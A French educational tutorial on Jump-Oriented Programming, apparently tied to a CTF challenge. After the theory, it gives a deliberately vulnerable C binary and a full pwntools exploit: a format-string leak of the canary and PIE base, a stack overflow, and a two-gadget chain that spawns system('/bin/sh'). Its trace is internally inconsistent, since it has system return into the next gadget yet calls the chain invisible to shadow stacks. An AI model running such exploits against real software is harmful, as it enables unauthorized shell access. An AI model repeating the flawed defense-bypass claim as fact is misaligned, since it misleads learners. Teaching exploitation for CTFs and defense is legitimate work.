01 - Origine et motivation
Pourquoi le JOP existe
Pour comprendre le JOP, il faut d'abord comprendre ce qu'il cherche à dépasser. Le ROP "Return-Oriented Programming" est apparu au milieu des années 2000 comme réponse à la protection NX (No-eXecute), qui rend la pile non-exécutable. L'idée était brillante : plutôt que d'injecter du code malveillant, on réutilise du code déjà présent dans le binaire. On appelle ces petits morceaux de code des gadgets.
Un gadget ROP est typiquement une séquence de quelques instructions suivie d'un ret. En contrôlant le pointeur de pile RSP via un débordement de tampon, on peut enchaîner des dizaines de gadgets pour construire n'importe quel comportement arbitraire: appeler system("/bin/sh"), effectuer des appels système, mapper de la mémoire exécutable, etc. Le ROP a longtemps été la technique reine de l'exploitation binaire post-NX.
"Le ROP a été tellement efficace que les défenseurs ont dû inventer de nouvelles contre-mesures. C'est là que le JOP entre en scène."
Des mécanismes comme Intel CET (Control-flow Enforcement Technology) et les Shadow Stacks ont été conçus précisément pour rendre le ROP inopérant. Le Shadow Stack conserve en hardware une copie séparée et protégée des adresses de retour légitimes. À chaque instruction ret, le processeur compare l'adresse chargée depuis la pile logicielle avec celle présente dans le Shadow Stack. Si les deux ne correspondent pas, une exception matérielle est immédiatement levée, la chaîne ROP est stoppée net.
C'est dans ce contexte que le Jump-Oriented Programming a été formalisé. La technique a été présentée par Tyler Bletsch, Xuxian Jiang et al. dans leur papier de 2011 "Jump-Oriented Programming: A New Class of Code-Reuse Attack". La prémisse est d'une simplicité désarmante : si ret est surveillé, utilisons jmp.
02 - Concept fondamental
Ce qu'est réellement le JOP
Le JOP est une technique d'exploitation qui construit un flux d'exécution artificiel en enchaînant des gadgets terminés par un saut indirect, typiquement jmp *reg ou call *reg plutôt que par ret. C'est une forme de Code-Reuse Attack (CRA) : on ne crée aucun code nouveau, on réorchestre du code légitime déjà présent dans les segments exécutables du binaire ou des bibliothèques chargées.
ROP
- Gadgets terminés par
ret. RSPest le dispatcher implicite: chaqueretconsomme une adresse depuis la pile et y saute- La pile EST la table de dispatch.
- Détectable par Shadow Stack : chaque ret est vérifié contre une copie matérielle sécurisée
JOP
- > Gadgets terminés par
jmp *reg. - > Un registre dédié est le dispatcher : il pointe vers la prochaine destination
- > Pile absente du mécanisme de dispatch.
- > Invisible pour Shadow Stack.
L'intuition clé : en ROP, la pile joue le rôle d'un programme implicite, chaque adresse empilée est la prochaine instruction à exécuter, et RSP est le compteur de programme caché. En JOP, ce rôle est entièrement délégué à un registre pivot qu'on contrôle. Le programme n'est plus encodé dans la pile, il est dans les registres. La pile peut même être totalement absente du mécanisme de dispatch.
Cette différence architecturale est ce qui confère au JOP sa résistance aux défenses modernes. Shadow Stack surveille les ret, le JOP n'en émet aucun dans sa chaîne de dispatch.
03 - Anatomie d'une chaîne JOP
Une chaîne JOP bien construite s'articule autour de trois types de gadgets aux rôles distincts. Comprendre chacun est indispensable pour concevoir ou analyser un exploit JOP.
1. Le gadget dispatcher
C'est le cœur du JOP, son équivalent du mécanisme ret en ROP. Le gadget dispatcher est une petite séquence d'instructions dont le seul rôle est de déterminer quel gadget s'exécutera ensuite. Il lit une adresse depuis une dispatch table (un tableau d'adresses maintenu en mémoire) et y saute via un jmp indirect. Le pointeur vers cette table est lui-même maintenu dans un registre dédié, que chaque gadget fonctionnel a la responsabilité d'incrémenter avant de repasser la main au dispatcher.
; Dispatcher classique : rbx pointe vers la dispatch table dispatch: jmp *(%rbx) ; saute vers dispatch_table[0] ; Variante avec table indexée par rcx dispatch_indexed: jmp *(%rdx, %rcx, 8) ; dispatch_table[rcx] ; Un gadget fonctionnel incrémente rbx avant de repasser au dispatcher functional_gadget_with_dispatch: mov %rax, [%rsi] ; travail utile add %rbx, 8 ; avance dans la dispatch table jmp *(%rbx) ; retour au dispatcher → gadget suivant
2. Les gadgets fonctionnels
Ce sont les gadgets qui produisent l'effet désiré : charger une valeur dans un registre, effectuer une opération arithmétique ou logique, préparer un argument pour un appel de fonction, écrire en mémoire, etc. Leur contrainte fondamentale est de se terminer par un jmp *reg idéalement vers le dispatcher, pour poursuivre la chaîne. En pratique, dans les exploits les plus compacts, un registre pivot unique (par exemple r12) joue simultanément le rôle de dispatcher et de cible finale, ce qui simplifie la structure.
; Gadget fonctionnel : prépare un argument puis saute vers le dispatcher set_rdi: pop %rdi ; charge le 1er argument (ABI System V) jmp *%r12 ; saute vers r12 (dispatcher/cible) ; Gadget fonctionnel : charge une valeur dans le registre pivot load_pivot: pop %r12 ; r12 ← adresse de la cible finale jmp *%r12 ; saute directement à la cible ; Gadget fonctionnel : transfert de registre mov_gadget: xchg %rax, %rdi ; swap rax ↔ rdi jmp *%rbx ; retour au dispatcher
3. Le gadget initiateur (trampoline)
C'est le premier gadget exécuté lors de l'exploitation. Il assure la transition depuis le vecteur d'exploitation initial, un débordement de tampon, un use-after-free, une corruption de pointeur de fonction vers la chaîne JOP proprement dite. Son rôle est d'initialiser les registres clés : le registre pivot qui servira de dispatcher, et éventuellement le pointeur vers la dispatch table. Une fois ces registres mis en place, la chaîne JOP est autonome.
Dans les exploits simples, ce gadget initiateur peut être atteint directement via l'adresse de retour écrasée sur la pile. C'est le seul ret de toute la chaîne, et il est légitime du point de vue du Shadow Stack car il correspond à la frame de la fonction vulnérable.
04 - Le modèle de menace JOP
Contre quelles protections le JOP est efficace
Voici un bilan honnête du paysage des protections modernes et de la position du JOP face à chacune. Il est important de comprendre que le JOP ne contourne pas tout, il s'inscrit dans une stratégie d'exploitation où d'autres techniques (info leak, heap spray…) comblent les lacunes.
-
NX / DEP (No-Execute / Data Execution Prevention) : contourné totalement. Le JOP n'exécute jamais de code injecté, il réutilise uniquement du code présent dans les segments
.textdu binaire et des bibliothèques chargées. - ASLR + PIE (randomisation des adresses) : non contourné directement. Le JOP nécessite de connaître les adresses réelles des gadgets. Une info leak préalable est indispensable " format string, heap info leak, side-channel " pour calculer la base PIE et les adresses effectives.
- Stack Canary / SSP : non contourné seul. Si l'exploitation passe par un stack overflow, le canary doit être connu (via une fuite de mémoire) ou contourné (via un autre vecteur). Le JOP ne règle pas ce problème par lui-même.
-
Shadow Stack : contourné efficacement. Aucun
retn'est utilisé dans la chaîne de dispatch JOP. Le Shadow Stack ne voit aucune instructionretsuspecte, la chaîne est invisible pour ce mécanisme. - FULL RELRO (GOT en lecture seule) : non contourné directement, mais rendu inutile. Avec FULL RELRO, la GOT est résolue au démarrage et marquée read-only. Le JOP n'a pas besoin de l'écraser, si les adresses de fonctions sont connues via un leak, on les appelle directement sans passer par la GOT.
Le JOP est rarement utilisé seul. En pratique, il s'intègre dans une chaîne d'exploitation multi-étapes : une vulnérabilité initiale déclenche un info leak, le leak permet de calculer les adresses réelles, et la chaîne JOP constitue le payload final. C'est la composition de ces techniques qui permet de contourner toutes les protections simultanément.
05 - Trouver des gadgets JOP
La chasse aux gadgets dans un binaire
L'outil de référence pour énumérer les gadgets dans un binaire est ROPgadget, qui dispose d'un mode dédié au JOP. On peut aussi utiliser ropper. Le principe est de scanner toutes les séquences d'octets qui forment des instructions valides et se terminent par un saut indirect.
# Lister tous les gadgets JOP avec ROPgadget $ ROPgadget --binary ./vuln --norop # Filtrer sur un pattern précis (pop + jmp sur registre) $ ROPgadget --binary ./vuln --re "pop r.* ; jmp" # Avec ropper $ ropper --file ./vuln --type jop # Exemples de gadgets JOP précieux et leur rôle 0x11c0: pop %r12 ; jmp *%r12 → chargeur de pivot 0x11d0: pop %rdi ; jmp *%r12 → setter d'argument 0x????: xchg %rsp, %rax ; jmp *%rbx → pivot de pile 0x????: mov %rax, [%rdi] ; jmp *%rcx → lecture mémoire
Le rôle critique des registres callee-saved
L'ABI System V AMD64 distingue deux catégories de registres selon qui est responsable de les préserver lors d'un appel de fonction. Cette distinction est fondamentale pour le JOP.
Les registres caller-saved rax, rcx, rdx, rsi, rdi, r8–r11 peuvent être librement modifiés par n'importe quelle fonction appelée. Les registres callee-saved rbx, rbp, r12–r15 doivent être préservés : toute fonction qui les modifie doit les restaurer avant de retourner.
En pratique pour le JOP, cela signifie qu'une valeur chargée dans r12 via un gadget restera intacte à travers des appels de fonctions intermédiaires. r12 est le registre pivot idéal : une fois initialisé avec l'adresse d'une cible (par exemple system), il gardera cette valeur jusqu'à la fin de la chaîne.
06 - Architecture d'un exploit JOP
Du débordement au shell
Un exploit JOP complet suit une architecture en plusieurs phases séquentielles. Chaque phase est une condition nécessaire à la suivante. Comprendre ce pipeline est essentiel pour concevoir un exploit robuste ou pour analyser un exploit existant.
- Vulnérabilité initiale : le point d'entrée. Typiquement un débordement de tampon sur la pile, un use-after-free, une confusion de type ou une vulnérabilité de format string. Cette étape permet généralement de prendre le contrôle d'un pointeur ou d'une adresse de retour.
- Info leak : étape critique face à ASLR et PIE. On extrait depuis la mémoire du processus au moins deux valeurs : le canary SSP (pour le réécrire intact lors de l'overflow) et une adresse de code (pour calculer la base PIE et donc les adresses réelles de tous les gadgets).
- Contrôle du pointeur d'instruction (PC) : l'overflow permet d'écraser l'adresse de retour de la fonction vulnérable. En plaçant l'adresse du gadget initiateur, on donne le coup d'envoi de la chaîne JOP.
- Gadget initiateur : ce gadget charge le registre pivot avec la valeur cible (l'adresse de la fonction à appeler) et enclenche la chaîne. C'est le seul point de la chaîne qui touche à la pile logicielle.
-
Chaîne JOP : les gadgets fonctionnels s'exécutent séquentiellement, préparant les arguments nécessaires, configurant les registres, et transmettant le contrôle via des
jmp *regenchaînés sans jamais déclencher le Shadow Stack. -
Résultat final : la fonction cible (
system,execve, un appel système direct…) est appelée avec les bons arguments. Un shell est obtenu.
07 - Exercice Pratique
Application sur un binaire durci
Appliquons maintenant la théorie sur un binaire construit pour mettre en pratique le JOP dans sa forme la plus directe. Toutes les protections modernes sont activées simultanément, le binaire expose deux vulnérabilités intentionnelles, et deux gadgets JOP ont été écrits à la main en assemblage pur pour illustrer le mécanisme.
-fPIE -pie→ ASLR + PIE-fstack-protector-strong→ Canary SSP-z noexecstack→ NX-Wl,-z,relro,-z,now→ Full RELRO
- Obtenir
system("/bin/sh") - Sans écrire un seul octet de shellcode
- En enchaînant deux gadgets
jmp
Les deux vulnérabilités du binaire
La fonction main() appelle séquentiellement deux fonctions vulnérables, nous offrant un pipeline exploit en deux temps : d'abord le leak, ensuite l'overflow.
/* gcc vuln.c -o vuln \ -fPIE -pie \ -fstack-protector-strong \ -O2 \ -Wl,-z,relro,-z,now \ -z noexecstack \ -fno-omit-frame-pointer */ #include <stdio.h> #include <unistd.h> #include <stdlib.h> /* chaîne "/bin/sh" ancrée en .rodata - utilisée comme argument */ __attribute__((used)) static const char hidden[] = "/bin/sh"; /* ── Gadget JOP 1 - chargeur de pivot ───────────────────────── */ __attribute__((naked, noinline)) void g1() { __asm__ volatile( "pop %r12;\n" // r12 ← [RSP] ; RSP += 8 "jmp *%r12;\n" // saute vers l'adresse dans r12 ); } /* ── Gadget JOP 2 - setter d'argument ───────────────────────── */ __attribute__((naked, noinline)) void g2() { __asm__ volatile( "pop %rdi;\n" // rdi ← [RSP] ; 1er arg ABI System V "jmp *%r12;\n" // jmp r12 = jmp system → system(rdi) ); } /* ── Vulnérabilité 1 - Format String ────────────────────────── */ __attribute__((noinline)) void leak() { char fmt[64]; read(0, fmt, sizeof(fmt)); printf(fmt); // ← format string : DANGEREUX } /* ── Vulnérabilité 2 - Stack Buffer Overflow ────────────────── */ __attribute__((noinline)) void vuln() { char buf[64]; read(0, buf, 300); // ← 300 octets dans 64 : OVERFLOW } int main() { setbuf(stdout, NULL); setbuf(stdin, NULL); leak(); // stage 1 : info leak vuln(); // stage 2 : exploit return 0; } /* ── Constructeur - résout system() avant main() ────────────── */ __attribute__((constructor)) void __ctx() { system("/bin/true"); // force la résolution de system dans la GOT }
L'astuce du constructeur: résoudre system() avant main()
Le binaire contient un constructeur (__attribute__((constructor))) qui s'exécute automatiquement avant main(), avant même que le programme ne soit visible pour l'utilisateur. Ce constructeur appelle system("/bin/true"), une commande inoffensive mais son effet de bord est décisif : il force la résolution de system dans la PLT/GOT dès le démarrage. Même avec Full RELRO, l'adresse réelle de system est ainsi accessible via elf.sym["system"] dès le début de l'exploitation.
Les gadgets JOP du binaire
Deux fonctions naked sont définies en assemblage pur dans le binaire sans prologue ni épilogue générés par le compilateur. Chaque instruction écrite est exactement ce qui s'exécute. Ces deux gadgets forment la totalité de la chaîne JOP.
// g1 - Gadget chargeur : initialise le registre pivot r12 __attribute__((naked, noinline)) void g1() { __asm__ volatile( "pop %r12;\n" // r12 ← [RSP], RSP += 8 "jmp *%r12;\n" // saute vers l'adresse dans r12 ); } // g2 - Gadget argument : charge rdi et appelle via r12 __attribute__((naked, noinline)) void g2() { __asm__ volatile( "pop %rdi;\n" // rdi ← [RSP] = &"/bin/sh" (1er arg ABI) "jmp *%r12;\n" // jmp r12 = jmp system → system(rdi) ); }
g1 est le gadget chargeur : il pique la prochaine valeur sur la pile avec pop r12, y place l'adresse de system, puis y saute immédiatement avec jmp *r12. Il joue le rôle d'initiateur de la chaîne.
g2 est le gadget argument : il charge rdi, qui est le premier argument dans la convention d'appel System V AMD64 avec l'adresse de la chaîne /bin/sh, puis saute vers r12 qui contient toujours l'adresse de system. L'appel effectif est donc system("/bin/sh"). r12 est callee-saved : il a conservé sa valeur à travers tous les gadgets précédents.
Stage 1 : Info leak via format string
La format string vulnerability dans leak() nous permet de lire des valeurs arbitraires sur la pile en utilisant des spécificateurs de position comme %15$p. En envoyant la bonne chaîne de format, on extrait deux éléments essentiels : le canary SSP et une adresse dans le segment de code du binaire qui nous permettra de calculer la base PIE.
# Envoi de la format string pour lire deux positions sur la pile fmt = b"%15$p|%23$p" # %15$p → position 15 depuis printf → le canary SSP # %23$p → position 23 → adresse de retour dans main (contient l'offset PIE) sh.sendline(fmt) leaks = sh.recvline().strip().split(b"|") canary = int(leaks[0], 16) pie_leak = int(leaks[1], 16) # Calcul de la base PIE : leak - offset_statique_de_main elf.address = pie_leak - elf.sym["main"] # Toutes les adresses sont maintenant calculables g1 = elf.address + 0x11c0 # offset statique de g1 dans le binaire g2 = elf.address + 0x11d0 # offset statique de g2 binsh = elf.address + 0x2010 # chaîne "/bin/sh" dans .rodata system = elf.sym["system"] # résolu par __ctx au démarrage
Stage 2 : Construction du payload JOP
Le buffer overflow dans vuln() nous permet d'écraser la pile au-delà du buffer de 64 octets. Le layout mémoire de la frame est le suivant, on doit atteindre l'adresse de retour en préservant le canary intact :
Le script d'exploitation complet (pwntools) ressemble à ceci :
# ── Construction du payload ──────────────────────────── payload = b"A" * (64+8) # padding : buf[64] + 8 octets d'alignement payload += p64(canary) # canary intact → bypass SSP payload += b"B" * 8 # faux RBP sauvegardé # ── Chaîne JOP ───────────────────────────────────────── payload += p64(g1) # adresse de retour → ret saute dans g1 payload += p64(system) # g1 : pop r12 ← addr(system) # g1 : jmp *r12 → entre dans system payload += p64(g2) # RSP pointe ici quand system reprend la pile payload += p64(binsh) # g2 : pop rdi ← addr("/bin/sh") # g2 : jmp *r12 → r12 = system encore # → system("/bin/sh") ! sh.sendline(payload) sh.interactive()
Trace d'exécution de la chaîne
Voici ce qui se passe exactement lors de l'exécution du payload, instruction par instruction :
-
ret dans vuln() : RSP pointe sur
addr(g1). Le CPU charge cette adresse et y saute. On entre dans g1. -
g1 : pop r12 : la valeur au sommet de la pile (
addr(system), +0x60) est chargée dansr12. RSP avance à +0x68. -
g1 : jmp *r12 : le CPU saute vers
system. RSP pointe sur +0x68 (addr(g2)). La pile est dans cet état lorsquesystemcommence à s'exécuter. -
system reprend le contrôle de la pile : lors de son exécution interne,
systemconsomme RSP et finit par retransférer le contrôle vers ce que la pile indique. Iciaddr(g2). On entre dans g2. -
g2 : pop rdi : l'adresse de
"/bin/sh"est chargée dansrdi, le premier argument selon l'ABI System V. -
g2 : jmp *r12 :
r12est callee-saved et contient toujoursaddr(system). L'appel effectif estsystem("/bin/sh"). Le shell est obtenu.
.text
ret dans la chaîne JOP, mécanisme invisible
08 - Références
- Tyler Bletsch et al., "Jump-Oriented Programming: A New Class of Code-Reuse Attack", ASIACCS 2011
- Hovav Shacham, "The Geometry of Innocent Flesh on the Bone: Return-into-libc without Function Calls (on the x86)", CCS 2007
- Intel, "A Technical Look at Intel's Control-flow Enforcement Technology", 2020
- System V Application Binary Interface, AMD64 Architecture Processor Supplement, v1.0
- pwntools documentation
elf.sym,p64,process/remotedocs.pwntools.com -
BUG|PWN " NICC 2026 CTF Finals, challenge
pmj" github.com/0xbugpwn/NICC-2026-CTF